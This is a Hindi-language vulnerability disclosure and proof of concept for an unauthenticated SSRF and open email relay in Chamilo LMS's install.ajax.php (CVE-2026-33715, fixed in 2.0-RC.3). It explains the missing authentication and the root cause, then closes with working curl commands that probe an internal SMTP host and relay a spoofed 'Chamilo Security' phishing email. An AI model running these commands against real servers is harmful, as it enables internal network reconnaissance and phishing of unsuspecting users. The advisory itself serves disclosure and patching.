
Chamilo LMS में install.ajax.php के माध्यम से अनधिकृत SSRF और खुले ईमेल रिले के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो आंतरिक नेटवर्क प्रोबिंग और फ़िशिंग ईमेल भेजने की अनुमति देता है।
गंभीरता: उच्च (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (प्रमाणीकरण अनुपस्थित)
प्रभावित: chamilo/chamilo-lms 2.0-RC.2
में ठीक किया गया: 2.0-RC.3
सलाह: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
श्रेय: Romain Deperne
पूरी तरह से स्थापित इंस्टेंस पर Chamilo LMS 2.0 में install.ajax.php बिना प्रमाणीकरण के सुलभ है। इसकी test_mailer क्रिया POST डेटा से एक मनमाना Symfony Mailer DSN और गंतव्य स्वीकार करती है, जिससे कोई भी अनधिप्रमाणित हमलावर सर्वर को मनमाने आंतरिक होस्टों से SMTP कनेक्शन आरंभ करने (SSRF) और Chamilo सर्वर के माध्यम से ओपन रिले के रूप में ईमेल भेजने के लिए बाध्य कर सकता है।
मैं Chamilo LMS का ऑडिट कर रहा था क्योंकि मैंने देखा कि इसमें कई CVE जमा हो गए थे लेकिन इसके AJAX एंडपॉइंट्स पर गहन ऑडिट नहीं किया गया था। मेरा दृष्टिकोण: public/main/inc/ajax/ में सभी फ़ाइलों को सूचीबद्ध करना और जाँचना कि क्या प्रत्येक require_once __DIR__.'/../global.inc.php' से शुरू होती है — वह समावेशन जो पूरे कोडबेस में प्रमाणीकरण लागू करता है।
install.ajax.php अपवाद था। यह केवल Composer ऑटोलोडर को शामिल करता है। फ़ाइल नाम पहले से ही सुझाव दे रहा था कि यह स्थापना का बचा हुआ कोड है — और इसमें test_mailer के लिए grep करने से पुष्टि हुई कि यह POST डेटा से एक कच्चा Symfony Mailer DSN स्ट्रिंग स्वीकार करता है और इसे सीधे Transport::fromDsn() को पास करता है।
यह एक पूर्ण SSRF प्रिमिटिव है: एक अनधिप्रमाणित हमलावर उस प्रोटोकॉल, होस्ट और पोर्ट को नियंत्रित करता है जिससे सर्वर जुड़ता है। तथ्य यह है कि यह आपके द्वारा कॉन्फ़िगर किए गए किसी भी ट्रांसपोर्ट के माध्यम से वास्तविक ईमेल भेजता है, इसे एक ओपन रिले भी बना देता है। मैंने एक साधारण curl के साथ पुष्टि की कि पूरी तरह से स्थापित इंस्टेंस पर बिना किसी सत्र कुकी के एंडपॉइंट पहुँच योग्य था।
मूल कारण स्थापत्य (architectural) है: फ़ाइल Symfony के सुरक्षा फ़ायरवॉल को बायपास करती है क्योंकि Apache का RewriteCond %{REQUEST_FILENAME} !-f मौजूदा PHP फ़ाइलों को सीधे PHP को पास करता है, कभी भी फ्रंट कंट्रोलर तक नहीं पहुँचता।
फ़ाइल: public/main/inc/ajax/install.ajax.php
यह फ़ाइल स्थापना विज़ार्ड के लिए डिज़ाइन की गई थी लेकिन स्थापना के बाद भी सुलभ रहती है। उसी निर्देशिका में हर अन्य AJAX एंडपॉइंट के विपरीत, यह global.inc.php को शामिल नहीं करती — अर्थात शून्य प्रमाणीकरण, शून्य प्राधिकरण जाँच:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
test_mailer क्रिया (लगभग पंक्ति 138) हमलावर-नियंत्रित POST पैरामीटर स्वीकार करती है:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
किसी भी उचित रूप से सुरक्षित एंडपॉइंट से तुलना करें:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
यह फ़ाइल सीधे Apache द्वारा सर्व की जाती है (RewriteCond %{REQUEST_FILENAME} !-f मौजूद PHP फ़ाइलों को पास-थ्रू कर देता है, जिससे Symfony का सुरक्षा फ़ायरवॉल बायपास हो जाता है)। global.inc.php के शामिल न होने का अर्थ है कि कोई सत्र नहीं, कोई प्रमाणीकरण नहीं, और कोई इंस्टॉलेशन-पूर्ण जाँच नहीं।
पूर्ण प्रदर्शन के लिए poc.py देखें।
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"